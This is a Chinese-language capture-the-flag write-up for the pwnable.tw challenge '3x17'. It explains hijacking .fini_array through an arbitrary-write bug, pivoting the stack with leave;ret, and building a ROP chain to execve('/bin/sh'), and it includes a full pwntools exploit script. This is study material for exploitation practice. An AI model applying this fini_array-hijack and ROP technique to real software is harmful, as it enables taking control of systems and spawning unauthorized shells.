图片出处:http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html
更细致的内容可以参考链接的内容,这里只简单概括一下._start函数才是程序的入口点,他会调用libc_start_main函数,这里可以先看一下libc_start_main函数的原型:
//libc_start_main函数原型 __libc_start_main(main,argc,argv&env,init,fini,rtld_fini)
根据64位程序程序通过寄存器来保存前六个参数的特性,我们可以得出以下结论:
rdi <- main rcx <- __libc_csu_init //在main函数前执行 r8 <- __libc_csu_fini //在main函数后执行
也就是说,我们可以在_start函数中得到上述三个函数的地址.
刚刚我们知道了__libc_csu_fini函数在main函数返回之后执行,现在看看具体代码:
.text:0000000000402960 __libc_csu_fini proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, _fini_array_0 .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: __libc_csu_fini+1B↑j .text:0000000000402996 add rsp, 8 .text:000000000040299A pop rbx .text:000000000040299B pop rbp .text:000000000040299C jmp sub_48E32C .text:000000000040299C ; } // starts at 402960 .text:000000000040299C __libc_csu_fini endp
在.text:0000000000402988这个地方有一个call指令,结合前面的代码可以知道rbp保存的是fini_array的值,所以这里会调用fini_array中的函数.所以只要修改了fini_array的数值,我们就可以劫持eip.看一下fini_array的代码:
.fini_array:00000000004B40F0 _fini_array segment para public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 _fini_array_0 dq offset sub_401B00 ; DATA XREF: .text:000000000040291C↑o .fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o .fini_array:00000000004B40F8 dq offset sub_401580 .fini_array:00000000004B40F8 _fini_array ends
这里保存了两个函数指针,分别是fini_array[0]和fini_array[1],观察libc_csu_fini中的汇编代码我们可以得知这俩函数指针是反向执行的,先执行fini_array[1],再执行fini_array[0].如果我们将fini_array[0]覆盖为libc_csu_fini的地址,再将fini_array[1]覆盖为任意一个地址A,那么程序就会循环执行A地址的代码,直到fini_array[0]覆盖为其他值.
其次,在.text:0000000000402968可以修改rbp为fini_array的首地址,配合leave;ret可以把栈迁移到fini_array
(ssh) dylan@eureka-pwn : ~/desktop/pwnable.tw/3×17 [0] % checksec 3x17 [*] '/home/dylan/desktop/pwnable.tw/3×17/3x17' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (ssh) dylan@eureka-pwn : ~/desktop/pwnable.tw/3×17 [0] % file 3x17 3x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped
.text:0000000000401A50 start proc near ; DATA XREF: LOAD:0000000000400018↑o .text:0000000000401A50 ; __unwind { .text:0000000000401A50 xor ebp, ebp .text:0000000000401A52 mov r9, rdx .text:0000000000401A55 pop rsi .text:0000000000401A56 mov rdx, rsp .text:0000000000401A59 and rsp, 0FFFFFFFFFFFFFFF0h .text:0000000000401A5D push rax .text:0000000000401A5E push rsp .text:0000000000401A5F mov r8, offset __libc_csu_fini .text:0000000000401A66 mov rcx, offset __libc_csu_init .text:0000000000401A6D mov rdi, offset main .text:0000000000401A74 db 67h .text:0000000000401A74 call sub_401EB0 .text:0000000000401A7A hlt .text:0000000000401A7A ; } // starts at 401A50 .text:0000000000401A7A start endp
因为没有符号,所以最开始连main函数都找不到,我们先进到start函数,根据最开始讲的内容,我们可以很轻松地得到以下内容:
__libc_csu_fini -> .text:0000000000402960 __libc_csu_init -> .text:00000000004028D0 main -> .text:0000000000401B6D
__libc_csu_fini地址后边会用到,我们先跳转到main函数
int __cdecl main(int argc, const char **argv, const char **envp) { double v3; // xmm0_8 double v4; // xmm1_8 double v5; // xmm2_8 double v6; // xmm3_8 double v7; // xmm4_8 double v8; // xmm5_8 double v9; // xmm6_8 double v10; // xmm7_8 int result; // eax int v12; // eax char *v13; // ST08_8 char buf; // [rsp+10h] [rbp-20h] unsigned __int64 canary; // [rsp+28h] [rbp-8h] canary = __readfsqword(0x28u); result = (unsigned __int8)++byte_4B9330; if ( byte_4B9330 == 1 ) { write_func(1u, "addr:", 5uLL); read_func(0, &buf, 0x18uLL); strtol((__int64)&buf); v13 = (char *)v12; write_func(1u, "data:", 5uLL); read_func(0, v13, 0x18uLL); result = 0; } if ( __readfsqword(0x28u) != canary ) sub_44A3E0(v3, v4, v5, v6, v7, v8, v9, v10); return result; }
改了几个函数的名字,加强了一点可读性,逻辑很简单,输入地址和内容,就可以对目标地址进行更改,是软件给予我们的任意地址写,但是长度只有0x18个字节,并不足以进行利用,这个时候就用到了前置知识的第二点,我们可以劫持fini_array来进行多次的任意地址写,从而getshell.
利用方法
劫持fini_array[1]为main函数地址,fini_array[0]为__libc_csu_fini,将长度为18的任意地址写升级为长度无限制的任意地址写
在0x4b40f0+0x10地址处构造ROP chain
构造完ROP chain之后,将fini_array[0]改为'leave;ret',将fini_array[1]改为'ret'.这样,在执行完main函数(即fini_array[1])之后,程序去执行位于fini_array[0]的'leave;ret',执行完之后,rip=fini_array[1],rsp=0x4b40f0+0x10.此时,fini_array[1]存放着我们放入的ret,这样,eip的值就被修改为了0x4b40f0+0x10.这也就是上一步我们将ROP链放在这个地址的原因.
至此,程序就会一步一步执行我们的ROP链,ROP链就很简单了,大致如下:
pop_rax 0x3b pop rdi addr of "/bin/sh\x00" ;随便放 pop rsi 0 pop rdx 0 syscall
exp
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from PwnContext.core import * local = True # Set up pwntools for the correct architecture exe = './' + '317' elf = context.binary = ELF(exe) #don't forget to change it host = args.HOST or 'chall.pwnable.tw' port = int(args.PORT or 10105) #don't forget to change it #ctx.binary = './' + '317' ctx.binary = exe #libc = elf.libc ctx.debug_remote_libc = False #ctx.remote_libc = libc if local: context.log_level = 'debug' try: io = ctx.start() except Exception as e: print(e.args) print("It can't work,may be it can't load the remote libc!") print("It will load the local process") io = process(exe) else: io = remote(host,port) #=========================================================== # EXPLOIT GOES HERE #=========================================================== # Arch: amd64-64-little # RELRO: Partial RELRO # Stack: No canary found # NX: NX enabled # PIE: No PIE (0x400000) fini_array = 0x4B40F0 main_addr = 0x401B6D libc_csu_fini = 0x402960 esp = fini_array + 0x10 leave_ret = 0x401C4B ret = 0x401016 rop_syscall = 0x471db5 rop_pop_rax = 0x41e4af rop_pop_rdx = 0x446e35 rop_pop_rsi = 0x406c30 rop_pop_rdi = 0x401696 bin_sh_addr = 0x4B419A def write(addr,data): io.recv() io.send(str(addr)) io.recv() io.send(data) def exp(): # hijack fini_array write(fini_array,p64(libc_csu_fini) + p64(main_addr)) # rop chain write(bin_sh_addr,"/bin/sh\x00") write(esp,p64(rop_pop_rax)) write(esp+8,p64(0x3b)) write(esp+16,p64(rop_pop_rdi)) write(esp+24,p64(bin_sh_addr)) write(esp+32,p64(rop_pop_rdx)) write(esp+40,p64(0)) write(esp+48,p64(rop_pop_rsi)) write(esp+56,p64(0)) write(esp+64,p64(rop_syscall)) # stack pivoting write(fini_array,p64(leave_ret) + p64(ret)) if __name__ == '__main__': exp() io.interactive()
blog:https://0x2l.github.io/
[培训]科锐逆向工程师培训班38期--远程教学预课班将于 2020年5月28日 正式开班!
最后于 21小时前 被0x2l编辑 ,原因: 修改